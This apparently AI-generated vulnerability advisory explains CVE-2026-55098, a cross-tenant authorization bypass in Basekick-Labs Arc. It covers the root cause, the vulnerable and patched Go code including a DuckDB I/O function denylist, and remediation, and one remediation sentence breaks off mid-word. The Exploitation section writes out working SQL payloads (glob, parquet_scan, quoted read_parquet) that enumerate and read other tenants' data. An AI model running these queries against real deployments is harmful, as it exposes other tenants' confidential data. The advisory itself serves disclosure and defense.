CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-55098

CVE-2026-55098: Cross-Database Authorization Bypass via DuckDB Table-Valued I/O Functions in Basekick-Labs Arc

Alon Barad
Alon Barad
Software Engineer

Nov 4, 2026·10 min read·4 visits

Executive Summary (TL;DR)

An incomplete denylist in Basekick-Labs Arc prior to v26.06.2 allows any authenticated user to bypass database-level RBAC by invoking unblocked DuckDB filesystem I/O functions (such as parquet_scan and glob) or quoted identifiers, enabling full read access to all tenant databases in the shared storage directory.

CVE-2026-55098 (GHSA-93cm-2v4m-c56c) is an authorization bypass and sensitive information disclosure vulnerability in Basekick-Labs Arc prior to version 26.06.2. The flaw stems from an incomplete remediation of CVE-2026-47735, which failed to restrict the full suite of DuckDB table-valued filesystem I/O functions and quoted-identifier invocations. Because Arc's query parser ignores function calls during table reference extraction, authenticated users with minimal or empty permissions can invoke functions like parquet_scan(), glob(), and read_blob() to read, enumerate, and extract telemetry data across all tenant databases residing within the shared local storage root.

Vulnerability Overview

Basekick-Labs Arc is an open-source, SQL-native time-series telemetry database that embeds DuckDB as its analytical query execution engine. In multi-tenant deployments, Arc stores all tenant telemetry data as Apache Parquet files within a shared local directory structure defined by the storage.local_path configuration parameter (cfg.LocalStorageRoot). When authenticated clients submit SQL queries to the POST /api/v1/query endpoint, Arc validates the query, verifies Role-Based Access Control (RBAC) permissions against the referenced tables, and rewrites logical table names into internal read_parquet() calls scoped to the authorized tenant's directory.

CVE-2026-55098 (tracked also as GHSA-93cm-2v4m-c56c) is an Incorrect Authorization (CWE-863) and Sensitive Information Exposure (CWE-200) vulnerability resulting from an incomplete fix for CVE-2026-47735 in Arc version 26.06.1. While the previous remediation configured DuckDB's allowed_directories setting to restrict filesystem access to cfg.LocalStorageRoot and blocked literal read_parquet( and arc_partition_agg( invocations, it failed to block alternative DuckDB table-valued I/O functions and aliases. Specifically, functions such as parquet_scan(), glob(), parquet_metadata(), parquet_schema(), read_blob(), read_csv(), read_json(), and read_text() remained accessible to user-supplied SQL.

Furthermore, Arc's query permission validator (extractTableReferences in internal/api/query.go) explicitly skips tokens followed by an opening parenthesis ( so that standard SQL functions are not misinterpreted as table names. If a query contains only table-valued function calls and no standard table identifiers, checkQueryPermissions extracts zero table references and permits the query to execute without tenant authorization checks. Additionally, a normalization flaw allowed attackers to bypass the existing read_parquet denylist simply by enclosing the function name in double quotes or backticks (e.g., "read_parquet"(...)).

Consequently, any authenticated principal—including low-privilege tokens restricted to a single database or tokens provisioned with empty platform permissions ("permissions": [])—can craft SQL queries that directly read, enumerate, and extract schema metadata or raw telemetry records from any other tenant database located beneath the shared storage root.

Root Cause Analysis

The root cause of CVE-2026-55098 lies in an architectural mismatch between how Arc's custom SQL parser extracts table references for RBAC enforcement and how the underlying DuckDB engine resolves table-valued filesystem functions within a shared multi-tenant storage directory.

To prevent OS-level file disclosure and Server-Side Request Forgery (SSRF), internal/database/sandbox.go initializes the DuckDB engine with SET GLOBAL allowed_directories=['<cfg.LocalStorageRoot>'] and SET GLOBAL enable_external_access=false. However, GetStoragePath in internal/storage/util.go places every tenant database in a subdirectory beneath cfg.LocalStorageRoot. Because DuckDB's native sandbox treats the entire cfg.LocalStorageRoot tree as a single trusted boundary, tenant isolation relies entirely on Arc's application-layer SQL validation (ValidateSQLRequest) and path rewriting (convertSQLToStoragePaths) in internal/api/query.go.

During query processing, extractTableReferences scans the SQL statement to identify target tables for RBAC verification. To avoid flagging SQL functions as table names, the parser ignores any identifier immediately followed by an opening parenthesis (. When checkQueryPermissions receives an empty list of extracted table references, it assumes the statement is a metadata-free expression (such as SELECT 1) and grants execution even if the caller's token has no assigned database permissions. In version 26.06.1, developers attempted to prevent users from supplying raw file paths by adding two regular expressions (userSQLReadParquetPattern and userSQLArcPartitionAggPattern) to block read_parquet( and arc_partition_agg(.

This denylist approach failed for three distinct technical reasons:

  1. Unblocked DuckDB I/O Function Family: DuckDB provides numerous built-in table functions that interact directly with the filesystem. parquet_scan() is a direct alias for read_parquet(). Other functions—including glob(), read_blob(), parquet_metadata(), parquet_schema(), parquet_file_metadata(), parquet_kv_metadata(), parquet_bloom_probe(), read_csv(), read_csv_auto(), sniff_csv(), read_json(), read_json_auto(), read_ndjson(), read_text(), read_xlsx(), delta_scan(), and iceberg_scan()—were omitted from the denylist.
  2. Quoted-Identifier Masking Bypass: Prior to evaluating the regex denylist in ValidateSQLRequest, Arc normalized the SQL string by masking quoted identifiers ("identifier" and `identifier`) into generic __STR__ placeholders to simplify syntax scanning. Because DuckDB allows functions to be invoked as quoted identifiers (e.g., SELECT * FROM "read_parquet"('/path')), masking quoted strings before running the regex caused the denylist check to inspect SELECT * FROM __STR__('/path'), completely evading detection.
  3. Silent RBAC Token Upgrade: A compounding flaw existed in internal/api/auth_routes.go and internal/auth/auth.go. When an administrator created a token via POST /api/v1/auth/tokens with an explicit empty array ("permissions": []) to create a strict RBAC-only token, the handler converted the empty slice into an empty string "". The underlying AuthManager methods (insertToken, CreateToken, CreateTokenWithValue) checked if permissions == "" and silently re-defaulted the value to wildcard "read,write" permissions.

Code Analysis

The vulnerability was remediated in commit 5dc8f53b70a3871b16b0cebf328f07c578af7a45 (Pull Request #495) across internal/api/query.go, internal/api/auth_routes.go, and internal/auth/auth.go. In the vulnerable version of internal/api/query.go, ValidateSQLRequest checked the normalized SQL string against only two narrow regular expressions:

// Vulnerable validation in internal/api/query.go (prior to v26.06.2)
if userSQLReadParquetPattern.MatchString(normalised) {
    return &SQLValidationError{Message: "Direct read_parquet() calls are not allowed in user SQL"}
}
 
if userSQLArcPartitionAggPattern.MatchString(normalised) {
    return &SQLValidationError{Message: "Direct arc_partition_agg() calls are not allowed in user SQL"}
}
 
var userSQLReadParquetPattern = regexp.MustCompile(`(?i)\bread_parquet\s*\(`)
var userSQLArcPartitionAggPattern = regexp.MustCompile(`(?i)\barc_partition_agg\s*\(`)

Because normalised already had double-quoted and backtick-quoted identifiers replaced with placeholders, any quoted function call bypassed these checks. Furthermore, aliases like parquet_scan were not matched.

The patch replaces this logic with a dedicated normalization helper, ioDenylistNormalise, and a comprehensive regular expression, ioTableFunctionPattern, covering 26 filesystem and metadata table functions:

// Patched validation in internal/api/query.go (v26.06.2)
ioCheckNormalised := ioDenylistNormalise(sql)
if m := ioTableFunctionPattern.FindStringSubmatch(ioCheckNormalised); m != nil {
    return &SQLValidationError{Message: "File I/O function not allowed in user SQL: " + m[1] + "()"}
}
 
func ioDenylistNormalise(sql string) string {
    // Strip double quotes and backticks BEFORE masking string literals
    // so quoted function calls like "parquet_scan"(...) are exposed to the regex
    stripped := strings.NewReplacer(`"`, "", "`", "").Replace(sql)
    features := scanSQLFeatures(stripped)
    masked, _ := sqlutil.MaskStringLiterals(stripped, features.hasQuotes)
    masked = stripSQLComments(masked, features.hasDashComment || features.hasBlockComment)
    return masked
}
 
var ioTableFunctionPattern = regexp.MustCompile(`(?i)\b(` + strings.Join([]string{
    "read_parquet", "parquet_scan", "parquet_metadata", "parquet_schema",
    "parquet_file_metadata", "parquet_kv_metadata", "parquet_bloom_probe",
    "read_csv", "read_csv_auto", "sniff_csv", "read_json", "read_json_auto",
    "read_json_objects", "read_json_objects_auto", "read_ndjson", "read_ndjson_auto",
    "read_ndjson_objects", "read_text", "read_blob", "read_xlsx", "glob",
    "delta_scan", "iceberg_scan", "iceberg_metadata", "iceberg_snapshots",
    "arc_partition_agg",
}, "|") + `)\s*\(`)

By stripping " and ` characters first via strings.NewReplacer and then masking single-quoted string literals ('...') and stripping SQL comments (-- and /* */), ioDenylistNormalise ensures that quoted identifiers and comment-interrupted calls (parquet_scan/*comment*/(...)) are flattened into bare function calls before regex evaluation, without triggering false positives on single-quoted string literals.

To address the silent token privilege escalation in internal/api/auth_routes.go and internal/auth/auth.go, the patch introduces an explicit sentinel constant PermissionsNone = "\x00none":

// Patched token creation in internal/api/auth_routes.go
permissions := "read,write"
if req.Permissions != nil {
    if len(*req.Permissions) == 0 {
        permissions = auth.PermissionsNone // RBAC-only token with no OSS permissions
    }
    // ...
}
 
// Patched storage helper in internal/auth/auth.go
const PermissionsNone = "\x00none"
 
func storePermissions(permissions string) string {
    switch permissions {
    case "":
        return "read,write"
    case PermissionsNone:
        return ""
    default:
        return permissions
    }
}

Fix Completeness Assessment

The remediation effectively closes the known vector of invoking DuckDB built-in filesystem table functions and quoted identifiers across all SQL clauses (including FROM, JOIN, comma cross-joins, LATERAL joins, CTEs, and subqueries). However, because the architecture still relies on a regex-based denylist (ioTableFunctionPattern) operating over a shared allowed_directories root, future DuckDB upgrades that introduce new table-valued I/O functions or aliases could reintroduce similar bypasses unless added to the denylist or mitigated via per-tenant DuckDB connection sandboxing.

Exploitation

Exploiting CVE-2026-55098 requires network access to the Arc HTTP API (POST /api/v1/query) and any valid authentication token. Because checkQueryPermissions permits queries that contain no standard table references, even a token scoped to an empty database or created with "permissions": [] is sufficient to execute the attack.

Step 1: Enumerating the Multi-Tenant Storage Root

An attacker who does not know the directory names or file paths of other tenants can invoke DuckDB's glob() function to recursively list all files beneath the configured local storage root (commonly /data/arc/):

SELECT * FROM glob('/data/arc/**/*');

To embed this enumeration inside an existing authorized table query using a subquery or cross-join:

SELECT * FROM cpu WHERE host IN (SELECT file FROM glob('/data/arc/**/*'));

Step 2: Extracting Schema and Column Metadata

Once target Parquet files belonging to another tenant database (e.g., db2) are identified, the attacker can inspect the table structure, column names, data types, and row-group value ranges (min/max statistics) using parquet_schema() and parquet_metadata():

SELECT * FROM parquet_schema('/data/arc/db2/secrets/*.parquet');
SELECT * FROM parquet_metadata('/data/arc/db2/secrets/*.parquet');

Step 3: Cross-Database Data Exfiltration

To read the actual rows from the unauthorized tenant database, the attacker can invoke the parquet_scan() alias directly, use a comma cross-join, or wrap the blocked read_parquet() function in double quotes or backticks to bypass the v26.06.1 regex filter:

-- Direct invocation using the unblocked parquet_scan alias
SELECT * FROM parquet_scan('/data/arc/db2/secrets/**/*.parquet');
 
-- Bypassing the v26.06.1 read_parquet filter using double quotes
SELECT * FROM "read_parquet"('/data/arc/db2/secrets/2026/06/data.parquet');
 
-- Bypassing via backtick identifiers
SELECT * FROM `parquet_scan`('/data/arc/db2/secrets/2026/06/data.parquet');
 
-- Extracting raw binary contents or arbitrary JSON/text files in the storage root
SELECT * FROM read_blob('/data/arc/db2/secrets/export.parquet');
SELECT * FROM read_json_auto('/data/arc/db2/config.json');

Impact Assessment

CVE-2026-55098 is rated with a CVSS v3.1 base score of 6.5 (Medium) under the vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N. The Attack Vector is Network (AV:N) and Attack Complexity is Low (AC:L), as exploitation requires only standard HTTP POST requests containing crafted SQL strings. Privileges Required is Low (PR:L) because the attacker must possess a valid API token, though no elevated or cross-tenant privileges are necessary.

The primary security impact is a complete loss of Confidentiality (C:H) across all tenant databases stored within the Arc instance's cfg.LocalStorageRoot. In multi-tenant environments, an attacker can read sensitive telemetry, application logs, credentials stored in telemetry payloads, and proprietary schema metadata belonging to any other tenant. Furthermore, due to the accompanying token creation flaw in internal/api/auth_routes.go, tokens that administrators explicitly configured with "permissions": [] prior to version 26.06.2 were silently persisted with wildcard "read,write" platform permissions.

The impact is bounded by DuckDB's sandbox configuration (internal/database/sandbox.go). Because enable_external_access=false is enforced and allowed_directories restricts file operations to cfg.LocalStorageRoot, attackers cannot use functions like read_csv_auto('/etc/passwd') to read arbitrary operating system files outside the storage root, nor can they perform outbound HTTP SSRF requests. Additionally, the SQLite authentication database storing API token hashes resides outside the Parquet storage directory and is not accessible through this vector. Integrity (I:N) and Availability (A:N) are unaffected, as the exposed table functions perform read-only operations.

Remediation

Upgrading to Patched Versions

Organizations running Basekick-Labs Arc should upgrade immediately to version 26.06.2 or later, which incorporates commit 5dc8f53b70a3871b16b0cebf328f07c578af7a45 (PR #495). This release blocks all 26 DuckDB filesystem I/O and metadata table functions in user SQL, strips quote characters prior to denylist evaluation, and fixes the PermissionsNone token creation logic.

Auditing Existing API Tokens

Because versions prior to 26.06.2 silently converted `

Official Patches

Basekick-LabsPull Request #495 fixing GHSA-93cm-2v4m-c56c
Basekick-LabsArc v26.06.2 release tag containing the remediation

Fix Analysis (1)

Technical Appendix

CVSS Score
6.5/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Probability
0.32%
Top 75% most exploited

Affected Systems

Basekick-Labs Arc

Affected Versions Detail

Product
Affected Versions
Fixed Version
Arc
Basekick-Labs
< 26.06.226.06.2
AttributeDetail
Vulnerability TypeIncorrect Authorization / Cross-Tenant Data Disclosure (CWE-863, CWE-200)
Affected ComponentSQL Query Validator (internal/api/query.go) & Token Auth (internal/auth/auth.go)
Attack VectorNetwork via authenticated HTTP POST to /api/v1/query
CVSS v3.1 Score6.5 Medium (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
EPSS Score0.319% (25.03rd Percentile)
ImpactUnauthorized read access and directory enumeration across all tenant databases in cfg.LocalStorageRoot
Exploit StatusProof-of-Concept available in repository test suite
Fixed VersionArc v26.06.2

MITRE ATT&CK Mapping

T1005Data from Local System
Collection
T1552Unsecured Credentials
Credential Access
T1068Exploitation for Privilege Escalation
Privilege Escalation
CWE-863
Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

Known Exploits & Detection

GitHubRegression test suite in internal/api/query_test.go demonstrating cross-database bypass payloads using parquet_scan, glob, read_blob, and quoted identifiers.

Vulnerability Timeline

Arc v26.06.1 released with incomplete remediation for CVE-2026-47735
2026-06-01
Fix committed in 5dc8f53b70a3871b16b0cebf328f07c578af7a45 via Pull Request #495
2026-06-10
Patched release Arc v26.06.2 tagged
2026-06-10
GitHub Advisory GHSA-93cm-2v4m-c56c and CVE-2026-55098 published
2026-10-30
NVD and CVE records updated with CWE-200 and CWE-863 mappings
2026-11-02

References & Sources

  • [1]GitHub Security Advisory GHSA-93cm-2v4m-c56c
  • [2]Fix Commit 5dc8f53b70a3871b16b0cebf328f07c578af7a45
  • [3]Basekick-Labs Arc Pull Request #495
  • [4]Basekick-Labs Arc v26.06.2 Release Tag
  • [5]NVD Detail for CVE-2026-55098
  • [6]CVE.org Record for CVE-2026-55098
  • [7]CVEListV5 JSON Record for CVE-2026-55098
Related Vulnerabilities
CVE-2026-47735

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 1 hour ago•CVE-2026-93363
4.3

CVE-2026-93363: Improper Access Control in Payload CMS Storage Upload Route

Payload CMS contains a missing authorization vulnerability (CWE-862) in its client-side upload instructions endpoint and the `@payloadcms/storage-vercel-blob` storage adapter. Two distinct logic defects allow authenticated users lacking collection-level `create` or `update` permissions to generate signed upload tokens and upload arbitrary files directly to external cloud storage.

Alon Barad
Alon Barad
2 views•9 min read
•about 3 hours ago•CVE-2026-113787
6.1

CVE-2026-113787: Stored Cross-Site Scripting via Unescaped Style Attributes in odf-kit

CVE-2026-113787 is a stored Cross-Site Scripting (XSS) and HTML injection vulnerability affecting the odf-kit npm package from version 0.6.0 prior to 0.14.2. The HTML conversion engines (odtToHtml and odsToHtml) interpolate document-controlled styling and image attributes directly into inline style and src attributes without escaping double-quote characters. A remote attacker can supply a crafted .odt or .ods document to break out of HTML attribute boundaries and execute arbitrary JavaScript in the context of any web application rendering the converted HTML.

Alon Barad
Alon Barad
4 views•11 min read
•about 17 hours ago•GHSA-M3QR-FVP4-78XJ
5.3

GHSA-m3qr-fvp4-78xj: Authentication Bypass and Log Disclosure in Basekick Labs Arc

GHSA-m3qr-fvp4-78xj is an authentication bypass and information disclosure vulnerability in Arc, an open-source, SQL-native time-series database developed by Basekick Labs and written in Go. Due to an improper route registration sequence within the Go Fiber HTTP server initialization pipeline, the application registered the /api/v1/logs endpoint prior to mounting the global authentication middleware. Because Fiber evaluates route handlers in strict declaration order and terminates request traversal when a handler returns without invoking c.Next(), unauthenticated remote callers can query the logs endpoint and retrieve up to 10,000 buffered operational log entries even when authentication is enabled.

Alon Barad
Alon Barad
7 views•8 min read
•about 18 hours ago•CVE-2026-62848
7.3

CVE-2026-62848: Local Arbitrary Code Execution via Unsafe Deserialization in Metalama Named Pipe IPC

CVE-2026-62848 (GHSA-h26j-4vp7-x9w2) is a high-severity unsafe deserialization vulnerability in Metalama, a Roslyn-based meta-programming and code generation framework for C#. The flaw resides in the inter-process communication (IPC) channel used by Metalama within Microsoft Visual Studio. Across versions 2023.0 through 2026.1.18, the framework utilized either Newtonsoft.Json with TypeNameHandling.All or MessagePack with TypelessObjectResolver over local Windows named pipes without enforcing a strict type allow-list. Because the named pipes use predictable identifiers, any local process running under the same Windows user session can connect to the endpoint and transmit crafted serialized payloads, resulting in arbitrary Common Language Runtime (CLR) type instantiation and code execution within the host Visual Studio process.

Alon Barad
Alon Barad
10 views•9 min read
•about 19 hours ago•GHSA-9PPR-WFW9-XVR2
5.3

GHSA-9ppr-wfw9-xvr2: DNS Cache TTL Manipulation Failure in Netfoil via Go Value-Copy Range Iteration

A logic flaw in github.com/tinfoil-factory/netfoil versions 0.3.0 through 0.6.0 prevents the DNS proxy from properly decrementing Time-To-Live (TTL) values on cached DNS responses and enforcing configured maximum TTL limits. Due to an idiomatic Go programming mistake where a range loop modifies value copies of slice elements rather than the underlying slice array, netfoil continually serves DNS answers with their original static TTLs. This condition causes downstream clients and resolvers to retain stale DNS records beyond their intended expiration window and bypasses local MaxTTL administrative policies.

Alon Barad
Alon Barad
7 views•10 min read
•about 20 hours ago•CVE-2026-11800
8.1

CVE-2026-11800: Authentication Bypass via JWT Algorithm Confusion in Keycloak

A cryptographic signature verification flaw in Keycloak's OAuth 2.0 JWT Authorization Grant flow (RFC 7523) and federated client authentication mechanisms allows algorithm confusion between asymmetric and symmetric signing algorithms. Authenticated clients can sign forged JWT assertions using HMAC-SHA256 (HS256) with an Identity Provider's public key bytes acting as the symmetric secret. Keycloak processes the public key material as an HMAC secret key, validating the forged assertion and issuing unauthorized access tokens for federated users.

Alon Barad
Alon Barad
9 views•10 min read